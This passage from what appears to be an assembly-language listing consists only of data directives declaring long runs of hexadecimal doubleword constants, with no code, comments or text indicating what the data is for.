0E99EA285h, 430F33Ah, 6F23019Fh dd 6656D0F5h, 0D472FAB3h, 0CA80DC96h, 0FC2EA424h, 84D60583h dd 0EFD8D43Fh, 0B9811B80h, 0DB670054h, 658A8E80h, 7A58BBCEh dd 0C22409BDh, 0CACC6336h, 644445h, 6274B5E6h, 0CFD2D7Ch dd 0A5D04805h, 0A48D75E8h, 0ED430DDh, 7E510274h, 7AED3BBBh dd 3A82E0E0h, 1FCAF809h, 63B88041h, 0D750BFh, 0D65C8751h dd 654AD1F1h, 5772A300h, 9E6AEEF0h, 612500A2h, 0FF2AEC30h dd 0D23FBD63h, 0C13F0195h, 35519F5Fh, 525F830h, 89EB2DC3h dd 0E469C10Ch, 8C45F431h, 22D2B402h, 0C82FEF9Ch, 0DDA630h dd 4E9ECA64h, 75062E24h, 166C6248h, 50415A7Ch, 0F3A8166Fh dd 9CA738D8h, 0DB980080h, 1FBCB062h, 4FF838C2h, 5A660065h dd 92006359h, 0E5B3FD88h, 3AAACC7h, 8C6A24A0h, 0A0FF48E8h dd 9DE1062Ch, 40531A03h, 0DB2D9C9Ah, 0C98780B0h, 81B3137Ah dd 0BA1000DAh, 355DA9FBh, 0C0009A75h, 0C279C643h, 8A81CFh dd 0ADA69242h, 0EF370D19h, 6471D003h, 0C84CE6AAh, 309970D9h dd 25B9BACDh, 3802C0BEh, 89E6B0B6h, 1D0060B3h, 0EF171344h dd 95FA00A1h, 1E27510Fh, 0FD019677h, 5E22DFCCh, 0B5E8BF81h dd 55849A02h, 51603CB6h, 78264CD1h, 80E7021Fh, 1131BFABh dd 0A4037A75h, 0A2362B13h, 8465D21Eh, 0E3C00DAAh, 0AB3976h dd 3F61A680h, 25909B7h, 2700BC9Eh, 8849FA31h, 46CD00AFh dd 145341E9h, 8C025530h, 0C6ABEE11h, 2E8458BDh, 705A60h dd 3C3DA7CFh, 0C824B932h, 0E000EFE7h, 0BAAD46D1h, 3BB77248h dd 4700D8C1h, 0F3408091h, 66B8A009h, 0C372F100h, 84A8DD81h dd 0ADC27A9h, 9DBB9801h, 902C15h, 6130CDE0h, 3018088Ch dd 809021C2h, 89FE3924h, 1EBD1909h, 152420E3h, 249F720h dd 82ABB327h, 6F6010B1h, 0CC00D7C7h, 0D6738934h, 0F24BE76Ch dd 1DB30075h, 8A057848h dd 99005F47h, 0E78DDD46h, 154E364h, 312F115Dh, 0E22D8015h dd 0FB34E075h, 0CEF40057h, 0AE86C597h, 0A603BA47h, 4E83E2B7h dd 5874DCh, 0F35DE3D7h, 577393EDh, 41D3660Eh, 2792151h dd 0B3C88B74h, 0E8A7FACEh, 0A0BF00B0h, 0E48AD01Ah, 0D96EF0CDh dd 0FFDE8048h, 0B83CD157h, 3621008Ch, 0A9749AD2h, 0CB074D3Bh dd 0BE78988Ah, 67E31410h, 0ADD91DBAh, 94978312h, 0E8D87001h dd 361F13AEh, 0FA409817h, 0ACD8DA51h, 15ED0123h, 7C9344F2h dd 0C33C2060h, 94C8AF0Fh, 99622719h, 8B0AE6E0h, 4BF9003Ah dd 385108E1h, 6B0069F2h, 1D3CFCBEh, 59721182h, 3512D479h dd 2D1440DCh, 0F89A88AFh, 1D30D61Ch, 0B236803Dh, 4E6C749Bh dd 4C804CC7h, 6100A53Ch, 30F256ADh, 0DE00E9F1h, 0CE0FAE1Ch dd 0C7EE31h, 0CD3EE87Eh, 14EA3D4Ch, 9D11BC3Ch, 0E5D2D726h dd 0ABE0B00h, 1794173h, 66E6381Ah, 816E0EEBh, 64BC3B88h dd 1F4C495h, 0F8D5001Ah, 124BC674h, 66122D07h, 84905C8Dh dd 2E11815Dh, 0C2D1FB2h, 24302736h, 2CEE7706h, 299395h dd 78BC1FD1h, 0E5EB4B37h, 0A55E451Fh, 7D816084h, 16A84893h dd 7E4092h, 9652629h, 7139D49Eh, 34550060h, 0C66E7D53h dd 5B0BBFE0h, 0F078D441h, 94071DB8h, 405173CEh, 5638CBE0h dd 0E6860049h, 4CB52C8Bh, 0A105038Eh, 2739CF80h, 0A454F007h dd 11CD6411h, 0EAE0D20h, 65CAAF7h, 0D144ABA3h, 82C69DD8h dd 4303CC00h, 6789B226h, 0DF6802BEh, 0BB585C2Bh, 5F65F987h dd 597A2983h, 0C0D56F82h, 39C9E41Bh, 0DA80A954h, 7C07B1D9h dd 3B00110Fh, 66F635F7h, 0EBDFF8h, 8F5C55ABh, 94DBEF0Eh dd 2DB07607h, 5060856Eh, 383842BCh, 0AF8079EBh, 0C68D5729h dd 1601F57Eh, 753CD548h, 0F270DCE1h, 0AF9D07CEh, 90576827h dd 448A2493h, 72695800h, 770F8605h, 7ADB01Fh, 0C5520BF7h dd 9757B39Ah, 36B16F0h, 69E7F0Bh, 84037571h, 7AA0A785h dd 99605C1Bh, 8C235828h, 0BEB494D2h, 6B01713Fh, 9E68E761h dd 0F54C3072h, 0AA4D7D02h, 684BE8B2h, 7ABF86CCh, 0A882093Ch dd 5045ADA2h, 3C18C8D0h, 3C5DE0A4h, 8821960Bh, 0AA15B840h dd 4E444CC0h, 76FCC04h, 10E02D69h, 0BFE4A0CAh, 67283314h dd 0B2CF188Eh, 477EC0C4h, 17EE46CCh, 80B5F801h, 3DF8808h dd 0B8075370h, 0D615BBACh, 5C708B20h, 463D0F5Bh, 786CCFFCh dd 40FB6738h, 0DF296D2Ch, 742DA0C0h, 3061E2EBh, 0E287998h dd 13253446h, 9094217Eh, 38BCA3D5h, 0AF306731h, 5408817Bh dd 0A097AB2Eh, 8B131040h, 0C1C0348h, 0E2348CE4h, 0E1A049B3h dd 0E00ECBB6h, 0A05CD7A8h, 680F990Dh, 0F4A73B39h, 61598880h dd 0BB3B7672h, 55B54D00h, 0B3A3B97Fh, 65BE0091h, 0E9D6676Ch dd 13E2098Bh, 8CB1CE00h, 0C1C8EC5Fh, 0A4EB00F6h, 957B9FDEh dd 24002A61h, 0A5280976h, 92E501h, 18D1A1CAh, 4170C43Fh dd 13B85200h, 119A745Ch, 63D50629h, 0C8E72FE8h, 0AD303675h dd 0BD59D64Eh, 4685003Fh, 9D21DEF3h, 0D24C3777h, 3ACE00F3h dd 0AA54CFECh, 698D01BFh, 0F7513C2Ah, 0AED6E0A4h, 50E99501h dd 0E1E35D97h, 0C860A9D9h, 420514B4h, 1700EE22h, 0A134A3C1h dd 0C7015DBFh, 196DB9E2h, 7ED03D83h, 0E1F51CBCh, 0E8650C8Ah dd 4303BAA8h, 18583EDFh, 5588C03Ah, 35D30A53h, 15E7CCF3h dd 9629C8AFh, 0A4705704h, 55F70007h, 0B0A1DA64h, 3F008410h dd 939A78C0h, 246DFC95h, 0D4038Ch, 487A8EEAh, 2011834h dd 7FAB4EEBh, 67204737h, 0C8F3756Ch, 45428A29h, 68432765h dd 880B0588h, 0CD887116h, 429F8866h, 90594A88h, 282F8F12h dd 2142394Fh, 3C3E1427h, 2863C811h, 0EC221487h, 70BA220Ch dd 197AF122h, 0C9A897D3h, 8246125Fh, 259C5A3Ch, 171404AFh dd 80024850h, 8339E8BAh, 670F9DE9h, 80EE7B6Bh, 99B27288h dd 4CF90062h, 1A83CD47h, 81002011h, 0A2F5A0Eh, 0D21598h dd 5C80418Ah, 0D40C82E6h, 21DC3900h, 33973DCAh, 0A83F0192h dd 545322A9h, 0ADD8FB3Bh, 39008CAFh, 3DE3E598h, 72A30AF3h dd 10FA6030h, 111F9955h, 7207BC01h, 6C9ADB9Eh, 0EA10020h dd 8F55952Eh, 0FD02C920h, 720F0D7Eh, 2B360Ah, 56A6273Ch dd 0B2BE0081h, 9B75F6F5h, 0DFB04566h, 2D3EAF00h, 0E557910Fh dd 972E063Dh, 114DA4FCh, 0ED665A00h, 7051A306h, 0FED0259Eh dd 76E8F400h, 0CB01416Dh, 57C13330h, 0D8B92269h, 3D567D07h dd 0C62630A4h, 0DC004D83h, 95BFE3C9h, 5A2FF6h, 0CB8B756Eh dd 0AC77FA9Dh, 4F00EC73h, 0C43D8F82h, 1D0EC110h, 0C0BAA4EEh dd 5231495h, 0F0E62426h, 0F4BB8B00h, 0EC250882h, 0FF1906CAh dd 29EB3672h, 0B83AB107h, 0FEA05D37h, 0BCF459h, 0F1127C6Ch dd 0A7D90B04h, 55F6800Ch, 7683067h, 606CC609h, 523C20DFh dd 423D5038h, 89E58062h, 374D165Eh, 0BD0200CCh, 0E73DD96Fh dd 11006B88h, 18C20F19h, 3C20F4h, 53BDB7D4h, 15E574D7h dd 1F912200h, 52400B44h, 4E9F0061h, 424759FFh, 6800C5C1h dd 0F4A0AEE6h, 282FD2Bh, 6E921A57h, 0BE80194Fh, 0E8AAFFF7h dd 7B249A0Eh, 5BBBA7B5h, 22BD4161h, 0FA58074h, 5C0D71BCh dd 0DA420340h, 3100FEF7h, 0B0F18495h, 70763BDDh, 93390F08h dd 29E27E5Fh, 9C80A021h, 1BE6347Fh, 8E9CCD00h, 0E1AB4070h dd 383CF681h, 32BE8DD2h, 9FFB680h, 97CD3830h, 9EBCBCA0h dd 485F4B00h, 1C2775B4h, 72C0009Ah, 19E9ED8Ch, 5C90E796h dd 8FB0C506h, 115599h, 0C8435883h, 24115C06h, 0F6B3A001h dd 0CF8889C3h, 4B6860DEh, 190913Dh, 0B55F3E1Fh, 0E8F85062h dd 9D00DC5Eh, 932113C1h, 7EA93029h, 2A6800B7h, 51B194D3h dd 0EA00D25Ch, 87F099FFh, 1F8BF50Ch, 7DC5E679h, 0A3F90100h dd 9FA22D0Ah, 0D49C1406h, 10048Eh, 44FA0511h, 99213C51h dd 805B4638h, 0ABB4CAE4h, 749ECh, 8973AD26h, 0CD128F04h dd 8C561400h, 0D1BB35FDh, 0CC7C81h, 197305F6h, 0D4AE0350h dd 760EDCA0h, 468422h, 3ADB5AF9h, 166D4330h, 805DFE3Bh dd 5CC61995h, 7ACFB1B4h, 6BC400E2h, 0BF6A531Ah, 0E00FD7Fh dd 4063E490h, 38E3DF3Dh, 7B00B40Ah, 1EC75707h, 283C663Ch dd 52C3F6Ch, 4FA793F8h, 5FED9600h, 2A3ABAAAh, 0E445C2h dd 388BD78Fh, 3BFB32A2h, 103B1A78h, 417B0724h, 71F3C06Dh dd 0D266C87Dh, 0E137B43h, 6C5E33B8h, 3C678E80h, 9C0CACAAh dd 10726D27h, 9F780FECh, 5760AF3Bh, 0E13E2C16h, 6F651000h dd 9B92B3B6h, 0C0C124C9h, 549E00ACh, 0E021BBE2h, 0D6643D00h dd 42F2DBADh, 0BA1A00FBh, 0AF7EF8D8h, 3C00B6C5h, 352AED86h dd 18909C59h, 38205FE8h, 260939E3h, 813BC0E6h, 63B7C190h dd 0F24F4A00h, 93D9DD3Dh, 84006797h, 7E3B52B1h, 106160EDh dd 2AF38883h, 1E969E01h, 14D5991Ah, 76C1AC60h, 0E6E7127Ah dd 70901515h, 58724D02h, 20601667h, 0C109323Bh, 838935h dd 7F60519Ch, 133D016Fh, 0BB4F9A10h, 82006414h, 2FC9B000h dd 4B4DAD12h, 41990011h, 640A3351h, 7000E7A8h, 13BBF98h dd 98232562h, 0D0D8058Bh, 0EE58AFD6h, 0E0ED8E00h, 92CD77h dd 42F36F1Dh, 46259C4Eh, 0C73C1F01h, 96DB7D06h, 5E94E0h dd 0FC8BA63Dh, 92EC341Dh, 0BC7A3300h, 3629FFEEh, 0C520496h dd 805998A8h, 0F3167248h, 0E3B7D00h, 3CCB5A25h, 0D28000C2h dd 0AF12D879h, 2B00CA54h, 8D2AE546h, 7A148252h, 0D1A91C4Dh dd 88287Ch, 0A43648E6h dd 0F2A6FF13h, 0A8F81528h, 54D52F03h, 0B51EE5B4h, 90860580h dd 0F54500ADh, 9A44212Dh, 0AA90F348h, 1CB43Fh, 66863898h dd 186E36h, 9239A22Eh, 23934A32h, 7AB7D107h, 81594D67h dd 0E205D2E3h, 583460h, 0FAE92F0Eh, 3C357606h, 0E1027DF4h dd 50A9D794h, 0F066E320h, 3174539h, 0ABE07C18h, 86C80A90h dd 0F6006980h, 63C6DD48h, 54A4DE7h, 9A3E0314h, 8A9B809Ch dd 0EE0B921Bh, 0E1ED5BEh, 73A21904h, 0E0DA94E8h, 36FA0015h dd 22B589AAh, 0C6007B9Dh, 0D4B14608h, 795EE24h, 64E5A83h dd 10A18745h, 0C8DF1533h, 0B574C00h, 0BC1EC48Eh, 3E650350h dd 71AFCA5Eh, 0CFBD17B8h, 0FAD2F72Eh, 9E912500h, 1DB8BB2Ch dd 9F5FB6B2h, 0A33940C8h, 335C4660h, 7D80BA04h, 0B0C0AEE3h dd 5A828Ch, 6DB66872h, 51A8DC9Ch, 286B693Ch, 910FB02Fh dd 403822E9h, 0C49BF735h, 8F9F0524h, 801F705Fh, 1B98F98Ah dd 0F47513Ch, 0E0DEF1CEh, 80B26BEh, 79B89270h, 16F507D2h dd 3034361Dh, 0E20F6A18h, 523DCD00h, 2FBBDA83h, 6E3800D6h dd 0ADBE8CA4h, 7024F27Ch, 5500A4AAh, 1CD4CDBBh, 5DAC0E4Eh dd 0B204690h, 0B44D6682h, 0FB3B6000h, 0AE483394h, 0F21A004Fh dd 55B6E922h, 2D0007A5h, 86BD6963h, 2032343h, 891BE0B2h dd 0B2C0E38Eh, 7006348h, 7C13445Eh, 786DECE9h, 33C507E5h dd 22DF8AF7h, 6E60716Eh, 24B8C092h, 288F9800h, 97754878h dd 3A6300E7h, 9B5B6022h, 0A0004D13h, 0CF4A71A8h, 9178B3h dd 8FE79CFCh, 41AF2A3Fh, 95906F0Ch, 0EE0AEh, 5E682DBCh dd 7CD8AF6h, 0C806E00Eh, 2A940FFh, 0A0A66615h, 9E58F8Ch dd 0B515A60h, 0E3C6F200h, 6988A59h, 290037E6h, 0F2D01E15h dd 72DD345h, 741A284h, 316FE065h, 0C600C429h, 3D4926B2h dd 24E8EAFBh, 0E941F48h, 0DEC98E78h, 0B37AFA80h, 490082C4h dd 125B5965h, 0F3B616h, 0D2030AF6h, 3D75C5A8h, 96E5C800h dd 0C4FAE343h, 4D7800F7h, 5F1AAADh, 10C0367Ah, 3FFB1A9Dh dd 3DCB0080h, 0B3887342h, 0D1012230h, 13D2905Ch, 1C205A8Ah dd 422B0049h, 51E8D311h, 5B6D2355h, 37C00818h, 21363D7Dh dd 78334800h, 5C0508E5h, 6C09B375h, 0ACC77Fh, 4BB5906Ch dd 84210066h, 10562034h, 0A1008D6Dh, 0AD86F0FBh, 551E74h dd 78997D41h, 4B58D734h, 0F233BD3Eh, 563D201Eh, 1B682900h dd 40552863h, 0ED3A7A38h, 227C9D05h, 2FCDB282h, 456BC03Eh dd 0D23A001Dh, 0F32909C8h, 8BE41E3Fh, 56D7E400h, 265538F6h dd 14C107C3h, 16E7398h, 0FD5C5BF2h, 977AFC39h, 5FEB8300h dd 9023DE9Fh, 0C3894F26h, 0DADA3220h, 0A339DC78h, 0A5A68062h dd 39F4C20Ah, 3DE2013Fh, 4CE5ADB8h, 1F646065h, 0F85C4F01h dd 0CBD3DE5Eh, 0A1B060h, 0B26C39B7h, 0E66E01C3h, 0EE7250F6h dd 653DE507h, 9D10A390h, 1CF21075h, 0FEDECFFAh, 867E1300h dd 0EB91F9ACh, 0B42807B0h, 993F40C9h, 924894h, 0E193742Dh dd 56A9F3h, 9AD4B0BDh, 2E383D21h, 8CCB6907h, 0A4D0FA65h dd 0E76D7Ch, 2B75C239h, 64AD7418h, 38F19E03h, 0CA1FC94Fh dd 0C7E0E071h, 0BCA85982h, 8DBEB400h, 0B08681B3h, 13BDE500h dd 9804A669h, 22EA0312h, 0F33EA12Ch, 823CADA8h, 174CDD00h dd 47CFB839h, 8AE100EAh, 0DF6C53C4h, 592874B7h, 5E10EC3Fh dd 0C60FF039h, 4120AE18h, 8B8D3766h, 0BD05E000h, 5E9A1C95h dd 21100090h, 0E55B6382h, 9401FC6Eh, 5D6273CAh, 0B5318EA9h dd 3B13D960h, 0C4D818D8h, 4B00BB39h, 0E66ADDD9h, 8F0CE87Fh dd 212A6639h, 319C0161h, 0FFE24090h, 5FFC34D8h, 10004374h dd 3293D1C7h, 40F9750h, 0B684A7AFh, 0C5EC80AAh, 3C2E9070h dd 830040F1h, 0C4344068h, 9613944h, 2CDF0E00h, 314F592Bh dd 28250D03h, 0B872FA7Dh, 31FCF57h, 40AD70C2h, 2A815F44h dd 4BF426Bh, 0B3387CE8h, 5A01B900h, 89111E03h, 2CC008Bh dd 0E3180947h, 0C71CF667h, 9189067Eh, 0A03C61BAh, 1C94B460h dd 1C40E5Ch, 8F7C62D2h, 1978E8AEh, 1712FC98h, 14D311B3h dd 6AA4E04Dh, 50AD1DD2h, 5C80FCC0h, 2FB7F75Bh, 740BEF71h dd 80131A3Ch, 97F8308Fh, 3B17F442h, 99BF8A55h, 0F5896B80h dd 0C23BD402h, 0C8C44509h, 0BA6C403Dh, 34FB8B4h, 0AFA8F961h dd 6EFF7C7Eh, 48D801Dh, 0BFCD6468h, 12B81001h, 939DA68Eh dd 1ED24F8h, 0BBD91E19h, 0D0100AEEh, 0CA0011FDh, 9663C53Ah dd 982E697Bh, 1E92618h, 48203E1h, 0AFC00B24h, 3F00D7BFh dd 7226DA81h, 0FE94792Fh, 9E0A1C5Dh, 0A221C09Bh, 0C6957707h dd 5C0AECB8h, 802AEAF5h, 396CED00h, 0B9E94Ch, 0BED41A63h dd 0D59A67A2h, 2B95E403h, 0F8458DA8h, 3AD96E7h, 2D301E08h dd 51806339h, 3A00B6E3h, 0C7999DACh, 3A0694C1h, 9C006908h dd 374E34F2h, 5D00074Fh, 90D3DA67h, 0A155A0h, 1A21ABC6h dd 0BF253165h, 70C74Ch, 6AC4A72Dh, 0C04FD9h, 0FF2483ABh dd 0FC18C312h, 47AC234Ah, 0E100244Ch, 641940F7h, 0A7EA9967h dd 0E0F06825h, 4C85ECh, 75CB6654h, 64F98207h, 126C014Ch dd 3CC03D7Bh, 2E86E697h, 80E07E61h, 0EFD33941h, 58828BEh dd 96F8003Fh, 473779F1h, 9C17A8CFh, 24007149h, 0E0B9E182h dd 81DE04FAh, 9090F056h, 0E92BA872h, 0DDBE2F6Eh, 0FA8C8740h dd 3B2DD69h, 86048B36h, 84E03E7Ah, 0BF00E616h, 5FCB7618h dd 0B9354E4h, 0C330F7A1h, 9862A600h, 2B2C846Dh, 0D60AC5Dh dd 0EA9E2Eh, 0AA675B36h, 473C5A3Dh, 2F0E867Bh, 1EC3444h dd 2917B2Eh, 8EDBF880h, 90C9D58h, 0D73E2402h, 4084276Bh dd 1CDAE0h, 4BA05FB0h, 8E4F5B80h, 82ECF14Ah, 0A9B3FE07h dd 15DEA075h, 76041AF6h, 8A94A1DDh, 0CE112097h, 92087287h dd 0AA33CD00h, 0DA93B2ABh, 0F23B73A7h, 11E705Fh, 875A197h dd 45EC9B56h, 0C5B400BCh, 96F42BC4h, 0F7BAE4A3h, 0DB01887Eh dd 0C9BBBF42h, 0B7F5F8h, 0E90364F6h, 0AEE6FD86h, 0B809555Eh dd 506020B1h, 21E85h, 5D44CA2Ah, 6517CB54h, 9828800h, 8E5319B4h dd 74D90738h, 9FF687DFh, 0E37732C0h, 7513AFD5h, 0E00214Bh dd 4A70CAF2h, 42E5006Eh, 0C0B1B45Bh, 5F0452D3h, 0E373C9A2h dd 0C32730C2h, 0B0A3A573h, 0C5B25A07h, 12566376h, 5301006h dd 0F0E528h, 0BBEE2B97h, 0E2FEB698h, 18A17B00h, 0F120B792h dd 33CB0045h, 0A797F65Bh, 0BB1517DAh, 0B887E32h, 604C831Bh dd 18D51CC4h, 5939D2DAh, 0EF032C64h, 0FE2610A2h, 96F816F5h dd 19D088C7h, 3D052E02h, 43C5ECC0h, 7007AA23h, 0C81D0114h dd 46141B5Dh, 6BBDF422h, 187C3500h, 5083A956h, 322301B7h dd 425C3D19h, 20686007h, 100034F2h, 0C8C393A9h, 0FD6AFA48h dd 9BF73280h, 0E953ED7Bh, 5C7DD8B7h, 50034B7h, 0BC502F1Eh dd 0AE00929Ah, 571CD7BAh, 60A16775h, 2F168CACh, 4D1CD9E0h dd 0C94E5E7Fh, 90FB04CAh, 3E75F8C0h, 0FFFC0116h, 0C1C4E79Fh dd 72D8208Ch, 0F2D6ED18h, 3E9958F1h, 8500603Eh, 0D8BFFCA6h dd 3200AB62h, 0A22FCB02h, 7BC1B6Bh, 3C16BE86h, 29A0D163h dd 13A5E430h, 0CC440105h, 0E086B4B8h, 0ECB05429h, 0A03B0441h dd 0ECE12393h, 7C600D4h, 7FF2712Ch, 32EB0FADh, 287C0B38h dd 1AD20E94h, 46C4FED6h, 789F8159h, 10BC436Eh, 0B61FEC88h dd 49FF8100h, 794A9523h, 5E38056Fh, 80636C48h, 0B35D88E3h dd 0EBA74E1Fh, 0D80FA157h, 0A657A0D0h, 1ED8437Dh, 0DC9660h dd 0EA6CECCDh dd 35011DC7h, 0BDED95F5h, 17E43B58h, 196D312h, 7061F3CCh dd 9542E010h, 68A0DB06h, 9B00317h, 4DC42CBAh, 0FBB764E8h dd 91118C0h, 0FCD56AADh, 0D7E800B0h, 2E7C8E33h, 0B4000CAAh dd 0A5C191DEh, 893120h, 0FE02091Dh, 0D48E546Eh, 30CB9D00h dd 0D1906C78h, 0A8560014h, 0D985F18Ah, 28006191h, 0E9276EE1h dd 902AA6h, 0C0D11C51h, 1935F9Bh, 0C599D700h, 9DB1A003h dd 0C415282Fh, 798817F0h, 0A42500DFh, 0C6125813h, 9D01FF27h dd 78C2E200h, 0B37610h, 0C906197Dh, 0B2D6FBC8h, 70E63B00h dd 77740F15h, 97E2009Eh, 0B6042091h, 400016F9h, 0ADE7F8B8h dd 0A54872h, 7BF13721h, 0CED26EDBh, 3D9A3800h, 0BFA60A57h dd 0FD840033h, 2C983C5Bh, 0E09FA958h, 1F0F9Ch, 6078DE4Ah dd 36694508h, 3C51F701h, 0E934B56Eh, 3D337FD8h, 79802EFBh dd 0AEAA0323h, 740032A9h, 72CCA7CBh, 0B34AFABh, 0F75C89C3h dd 0E1DF8860h, 0AC708D5Bh, 1CF2AF91h, 891A34AEh, 818150h dd 0C832948Dh, 5A717829h, 70400F07h, 0A099149Eh, 7C8DD354h dd 2CC00122h, 0E42F772Eh, 0CE82605Eh, 750D9409h, 8C8000Fh dd 0EAA4247Eh, 0E1E8A5h, 49416877h, 5D221DD9h, 69C70250h dd 7898E4FEh, 0FA00DBF6h, 8C38B98Bh, 1D378DFDh, 83E36ADCh dd 6FBD9693h, 0A9B64880h, 47046001h, 0B798EED2h, 0DBF89FCDh dd 0B8A14C8h, 4103FCBCh, 0CEAB1251h, 0EC92D5C0h, 1142E0C0h dd 32D27Dh, 7BDD7748h, 2F74AE79h, 232A7303h, 0A8ED13E2h dd 2891838h, 9F607504h, 0C0466B0Eh, 0A7D07400h, 5F315BB0h dd 495F4Eh, 23EC8168h, 4B078842h, 0E3CF6E18h, 4C56A370h dd 0B9AD00B3h, 9D8B4A37h, 6B000CECh, 6E75ED12h, 590E0585h dd 7A005CF1h, 2368BAC0h, 0DF1CBF4Fh, 0F28B3C1Eh, 0D7A4C8A4h dd 8AB017E3h, 1788C0A9h, 1F0011ADh, 354505CDh, 2C68D13h dd 77A5C5BCh, 9F428B38h, 0F4130096h, 1E1E3BABh, 431359C0h dd 0E4339Dh, 0B48D9DBh, 223D3799h, 3CC7EB03h, 0E077FAD7h dd 7BA55AFh, 1FD38976h, 1A9000FFh, 0D0EFEEA4h, 54B2292Fh dd 8218B5Eh, 0CFDC46C9h, 0E4D8001Dh, 0B51CF869h, 25070DCAh dd 0C1DC4A62h, 0DED5BEC0h, 0E7A0023h, 4BE9D97Dh, 500F608h dd 985B7630h, 0BA42ECh, 0D26F0626h, 23B99C18h, 96950500h dd 8DF1E5A5h, 0B4920074h, 0D31A03F6h, 0DA05BE36h, 7D4CFA30h dd 49D982C0h, 39770451h, 807ABB66h, 6CF3ECB0h, 0BC2FB800h dd 28309908h, 54FF0002h, 7E05A6EEh, 3707D3CFh, 4323FA5Dh dd 0D45029h, 32C78DD5h, 0B8B4C3A1h, 4A8FF415h, 790B0780h dd 99004FBEh, 0FC7CCF2h, 0F1328A12h, 0FCACA801h, 902CE448h dd 0BE31C200h, 0BACB946Bh, 1B0300E5h, 15CE3826h, 0C701E1A6h dd 3AC54D7Eh, 0DDD46772h, 76F700FCh, 0CEA50AC4h, 3FC527Ch dd 0E600C8BCh, 0CB7B5446h, 81330720h, 0E086AE2Ah, 0B178BB88h dd 61056CBAh, 13393285h, 489CA005h, 0B6493CC0h, 9F44000Ah dd 0A521DB03h, 4D0042BDh, 4A2AB1Fh, 82436Dh, 0AEECEAD7h dd 67ED757Dh, 0BDD7A07h, 0CE508C64h, 9DC803h, 0E63C18B7h dd 0BB45ECF1h, 0A75CB0E8h, 0CD3100ECh, 5C9CF4A9h, 0AC871E27h dd 7AA04740h, 41598096h, 82723DA7h, 0AAFBE200h, 7333EC5Fh dd 0F5CF0B91h, 3B003283h, 0B05B775Ah, 0E8BA4Ch, 0DDEC5780h dd 3D0EC6A4h, 2180BB44h, 0B3881FA0h, 0A800B9FDh, 0E3646BD9h dd 165144Ah, 0DE96545Ah, 406A5E73h, 44E537C3h, 10025D75h dd 0E91372A2h, 99A0E1FFh, 86541C2Ah, 40D19334h, 627F9600h dd 71DBB213h, 32A5044Eh, 0A826A30Ah, 63E400E0h, 0D58F8088h dd 5CAF7ED6h, 7519BC07h, 82F111B9h, 0B8D1B221h, 5148DC12h dd 0B4BD0490h, 0AFE8D403h, 0AA08C2Dh, 0CE11352Eh, 5072A4F6h dd 9D461C6Dh, 0C689288Eh, 8260E0D1h, 15594FDh, 18CC409Bh dd 0D00797B3h, 0AB6F4EA1h, 84218074h, 0C42C3948h, 0EDD4E070h dd 5FCC0460h, 62009297h, 0B7CE25BEh, 0ECDF6900h, 170DA02Ah dd 85850E2h, 38809D04h, 1583461Bh, 44488B28h, 5506A3FEh dd 12CC4363h, 9CB05B90h, 4800A0E8h, 8CE0941Ch, 74E11234h dd 0BBB0049h, 45EE77E4h, 7300249Bh, 0A44B09D0h, 854D8Bh dd 53551A36h, 54EF6F7Bh, 3F6FAA5Ch, 0E0E7499h, 20F9FE64h dd 650FC84Ah, 0D53800ACh, 0AF30F020h, 291F2791h, 0B1037142h dd 89668BC8h, 0FEF0C7D1h, 68F90016h, 0B1EEF61h, 381EDEFBh dd 0B840F463h, 0B32C7121h, 5E9A0052h, 0E2C7396Bh, 89FED11Ah dd 103E2E07h, 0D7709F3Ch, 6DE631h, 9D80F3E9h, 5320DD8h dd 0C1C31A00h, 446361AFh, 9F6A1EF5h, 67BE403Ah, 0CE0BCB46h dd 19499202h, 50EBB3E0h, 0F665011Ch, 2E0C40F3h, 14B7ECDCh dd 0B080464h, 0EB934B0h, 2753401Ah, 0B49A6460h, 0CD00257Dh dd 98829542h, 31C67B0Dh, 6B30180Fh, 0B6EFFC96h, 450024B6h dd 14AC9ACDh, 44E40C1Ch, 0FB0854E2h, 5C20AD60h, 0B0919AC8h dd 0D5EE02B9h, 94B7FFE5h, 783E8D4h, 98FD9D2Ch, 33827F26h dd 63700150h, 21702164h, 0A89AC960h, 0E53C1410h, 2880E1C8h dd 9BC590A4h, 0ED7C00A7h, 6533EB17h, 350ED732h, 62ABF6FEh dd 444B5310h, 0AE9C00D8h, 0BB183DA2h, 6706A397h, 0D0A4420Bh dd 71260021h, 1B7CC2A5h, 87004CB2h, 5BAF6F51h, 137A4E02h dd 0F048EF9Fh, 6C396918h, 39460725h, 0C8CA6E40h, 0B164D00h dd 499B98h, 7D9A07Ch, 3272EE96h, 0C90D5603h, 0B83FDB0Ah dd 79ECC7Dh, 0E17F86EDh, 91B520C1h, 3A00402Eh, 0CB2B355Bh dd 0D9B8C6h, 823197ACh, 0F0CDD54Eh, 0F6620E3Ah, 7A3C4500h dd 0BE572B37h, 170C8h, 6AAE1EA5h, 3A8E24C3h, 0D4B52A00h dd 0F787C6F9h, 30BE7EEEh, 89840C8Fh, 0EA07CB67h, 62D05878h dd 0B5296D00h, 0DD730Dh, 1FA23107h, 0FE65192Dh, 0DEB18100h dd 0CA94852Fh, 0B4BD0099h, 78F61DCCh, 35000131h, 732939AAh dd 0CE868Fh, 1618666Bh, 0C41D1E2Dh, 8E192B06h, 1D08C2E6h dd 0D7ED691Fh, 9465C02Ch, 18302405h, 6A9D28C7h, 5811605Ch dd 0B1FE2338h, 92AAEA06h, 41E9E1h, 2C05EF7Dh, 6157739Bh dd 0C649400h, 873DA842h, 0CEBFCDBh, 167F7DCDh, 0B574AA48h dd 1D2DC73Fh, 2010FCh, 85430E2Ah, 0F9E3FEBh, 1C7CE118h dd 0CA0C60h, 603155F2h, 28911214h, 1561BC0Fh, 0F774C03Eh dd 0AAA8B6h, 0C956D7ADh, 874DC3B9h, 984C1D03h, 0F99E0697h dd 8AF4C4A6h, 39C17292h, 0A0004FE2h, 4FCC691h, 8E0A0E46h dd 820F0CC3h, 0C01CBF0Eh, 734B87AAh, 501A0009h, 2B611841h dd 0E6004606h, 20EDFF44h, 0BB84CEh, 65D6B393h, 4E92DB8Ah dd 0AEA96601h, 0FC24EF38h, 3C785DD4h, 1A0EEE69h, 4E21F203h dd 61019D58h, 37088C92h, 31B204Bh, 0E430F16Bh, 0DAA0810Bh dd 26008269h, 0EFED96CEh, 1BCA497Ah, 304E614Ah, 0D5A9D2C0h dd 0A7455126h, 0C5403C1Ch, 0A9FAAABh, 9AEA007Ch, 0CFCE1A37h dd 2201F2A5h, 0D3D6B448h, 588197B2h, 82FB6CA3h, 7EB1F049h dd 1ED4680Ch, 70FB079h, 0FCE7A932h, 843F73BBh, 1A3E0C3h dd 0A102100h, 0DDB1B9A9h, 65CC00A0h, 0C8B52D82h, 51C14BE3h dd 81F76CA2h, 0BED66080h, 515E822Fh, 